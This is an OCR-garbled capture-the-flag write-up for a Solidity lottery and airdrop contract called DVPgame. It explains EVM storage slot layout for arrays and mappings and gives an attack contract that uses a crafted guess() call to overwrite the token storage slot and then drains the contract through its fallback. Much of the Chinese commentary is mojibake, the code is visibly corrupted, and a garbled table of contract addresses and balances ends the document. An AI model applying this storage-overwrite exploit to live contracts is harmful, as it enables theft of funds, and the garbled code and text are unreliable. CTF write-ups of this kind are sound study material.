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Writeup

pragma solidity ”70.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 ¢ = a * b;
assert(c / a == b);
return c;

}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 ¢ = a / b;
return c;

}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;

}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint?56 ¢ = a + h:
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assert(c >= a);
return c;

}
contract ERC20Basic {

function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC2@Basic {
function allowance(address owner, address spender) public view returns (uint256);

function transferFrom(address from, address to, uint256 value) public returns (bool);

function approve(address spender, uint256 value) public returns (bool);
event Approval(

address indexed owner,

address indexed spender,

uint256 value

)5

library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));

function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value

internal

require(token.transferFrom(from, to, value));

function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));

contract DVPgame {
ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;

constructor(address addr) payable{
token = ERC20(addr);

function (){
if(map.length>=uint256(msg.sender)){
require(map[uint256(msg.sender)]!=1);



if(token.balanceOf(this)==0){
//airdrop is over
selfdestruct(msg.sender);

}else{
token.safeTransfer(msg.sender,100);

if (map.length <= uint256(msg.sender)) {
map.length = uint256(msg.sender) + 1;

}
map[uint256(msg.sender)] = 1;

//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
function guess(uint256 x,uint256 blockNum) public payable {
require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
require(blockNum>block.number);
if(token.allowance(msg.sender,address(this))>0){
token.safeTransferFrom(msg.sender,address(this),1*(10**18));
}
if (map.length <= uint256(msg.sender)+x) {
map.length = uint256(msg.sender)+x + 1;

map[uint256(msg.sender)+x] = blockNum;

//Run a lottery

function lottery(uint256 x) public {
require(map[uint256(msg.sender)+x]!=0);
require(block.number > map[uint256(msg.sender)+x]);
require(block.blockhash(map[uint256(msg.sender)+x])!=0);

uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
if (x == answer) {

token.safeTransfer(msg.sender,token.balanceOf(address(this)));
selfdestruct(msg.sender);

BERBER 2K, EHLZOREHEEIX .

fallback % %



function (){
if(map.length>=uint256(msg.sender)){
require(map[uint256(msg.sender)]!=1);

if(token.balanceOf(this)==0){

//airdrop is over

selfdestruct(msg.sender); //fnHtokenft® T, MEENHBHEH O RIERD
}else{

token.safeTransfer(msg.sender,100); // BHES R¥E100token

if (map.length <= uint256(msg.sender)) {

map.length = uint256(msg.sender) + 1; // BidifmapBRMBIRIERMETHRAKIK
}
map[uint256(msg.sender)] = 1;

fay LR ULt R A bk R — IR 2, REWRAKBERE T HBE CEK.

guess

//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
function guess(uint256 x,uint256 blockNum) public payable {
require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18)); // guessE{t#0.
001 ether
require(blockNum>block.number); // blockNumZEKXF Xgiblock.number
if(token.allowance(msg.sender,address(this))>0){
token.safeTransferFrom(msg.sender,address(this),1*(10**18)); //#K
}
if (map.length <= uint256(msg.sender)+x) {
map.length = uint256(msg.sender)+x + 1;

}

map[uint256(msg.sender)+x] = blockNum; // T PAAE[EEHHEE AblockNum
}
lottery ki £

function lottery(uint256 x) public {
require(map[uint256(msg.sender)+x]!=0); // Bt AhHEE
require(block.number > map[uint256(msg.sender)+x]); // XARMATHguessEEFT/L, WHREZ FFFX
require(block.blockhash(map[uint256(msg.sender)+x])!=0); // e EIKNSE NLHTH N0

uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
// t¥EhashijE4hr

if (x == answer) { // WRHA%E, MEKHFHZK
token.safeTransfer(msg.sender,token.balanceOf(address(this)));
selfdestruct(msg.sender);
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constructor(address addr) payable{
token = ERC20(addr);

}

MitokenZ &R —NEREE, EITIHFEE L

pragma solidity 70.4.21;
contract DVPgame {
ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;

£ EVMHEE =M R, 4% memory. storage LA K stack.

memory : W77, Ay BHICHEANFERATHIR, REOARE R, FEARFIRNZE, SGASHHR/ storage : /K ALETF
EXPES, HTSAARFELRERE, MCGASHHME KX stack : FME T RWERYLE, L FRREHAMNE, BF
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MmaRTEmafFEstorageF i, EHFMERLTERUTILA

ERC20 public token;

uint256[] map;

using SafeERC20 for ERC20;
using SafeMath for uint256;

Mtokengi &8 — N2 R E, Nistorage[0]#t 77 T tokenZ & .

RV B B BATRE TR, WAVE LS H T REE fistorage I 5 —REHENE, ERATEE BRI, guesshHIX4—BMAME.

map[uint256(msg.sender)+x] = blockNum;
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address(map_data) = sha(array_slot)+offset

Hrharray slotit ZmapZ EHERIME, HWHRE1, offsetilREA T WA, thlnmap[2], offsetil 2.
XEE—3R, map[2]fHbhkt 2 sha(1)+2 , B i#map[2]=2333, M storage[sha(1)+2]=2333
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MASLKRBWT

pragma solidity 70.4.21;

contract dvp_attack {
address public targetaddr;

constructor(address addr) payable{
targetaddr = addr;

function balanceOf(address addr) public returns(uint i){

function attack(uint256 x,uint256 blockNum){
// modity owner
targetaddr.call(bytes4(keccak256("guess(uint256,uint256)",x,blockNum)));
// fallback
targetaddr.call(bytes4(keccak256("a")));

EREHZ)E

HEBEZE, BINAERR, BANRAKRE S RKEstoragefist EH R, ZEWHEXMER, HARMNTEHBEEVMP XY
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array

uint256[] map;

mapii e — MNuintZE R B4, Estoraged, mapZE M E I HHE AR T

address(map_data) = sha3(slot)+offset

Wi ¥t Elarray_slotit R AL BAE L RZEPHEHKNMAE, thiimapRE N 2REE

map[2] = 22333

==>

address(map_data) = sha3(1)+2
==>

storage[sha3(1)+2] = 22333

mapping

mapping (address => uint) balances;

balances —AM# NaddressK A, {H Auint® imapping ¥ i, fEstorage, balancesZ &Kk fFEHbEHH AR T

address(balances_data) = sha3(key, slot)

Hekeyst &mappingB B 447, slotgiZbalancesTEBEEREEFFEHKME, hinbalancesE —NERTE:

balances[@xaaa] = 22333 //@xaaaNaddress
==>

address(balances_data) sha3(0xaaa,9)
==>

storage[sha3(0xaaa,0)] = 22333



mapping + struct

struct Person {
address[] addr;
uint funds;

}

mapping (address => Person) people;

people — /M AaddressK R, {8 Mstructifimapping, 7Estorage', peopleZs & HIfEfE bt it AR T

address(people_data) = sha3(key,slot)+offset

Hrhkeywt &mappingR B F 84, slotit Zpeople T BEERLEFFHKME, ofsetit RTEBELMENKIME, thin
peopleFE —NEREE:

people[@xaaa].addr[1] = @xbbb

==>

address(people_data) = sha3(sha3(0xaaa,0)+0)+1
==>

storage[sha3(sha3(0xaaa,0)+0)+1] = ©xbbb
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name address balance transactions status
Spgnk OxhQ70487 T iRt Tee® 77e95dbe1a905b280 |0 378989 running
Ryl pCuliapuyr Qg 5a 19579588 5 moedfcd286919  [3.3056E+17 60430 running
Pralisf=liCe = - i Bl il alle"7504d [0 33764 running
Cc tir Toke L0 P o 7 .31)87¢ 67 |0 27106 running
EmmmmenTrede |l 5 /L = wegfed 930 [0 26669 running
T S i C oo LoxM e 643750 . B D4 L ERRAR479 |0 21732 running

Tl _ G- N | B I LN 5b04c7f783 |0 16679 running
p=le o Vs ak®) -y TEOL =om R rmatwey e pdwosa0c2? 1 [1.5428E+18 16416 running
Ma=igms | Qi Bh LB R 20mbaR wou (0% gaef p88fr suf8l  |0x0 13432 running
Ad o UL e 105222890 LDfE folROT T AR, INETSe” 3c8d858  |4.53786E+17 11896 running
Eths emol iJe I0vhdAk= B0 pR2RR214T53439bablf3  |3.2886E+18 8330 running
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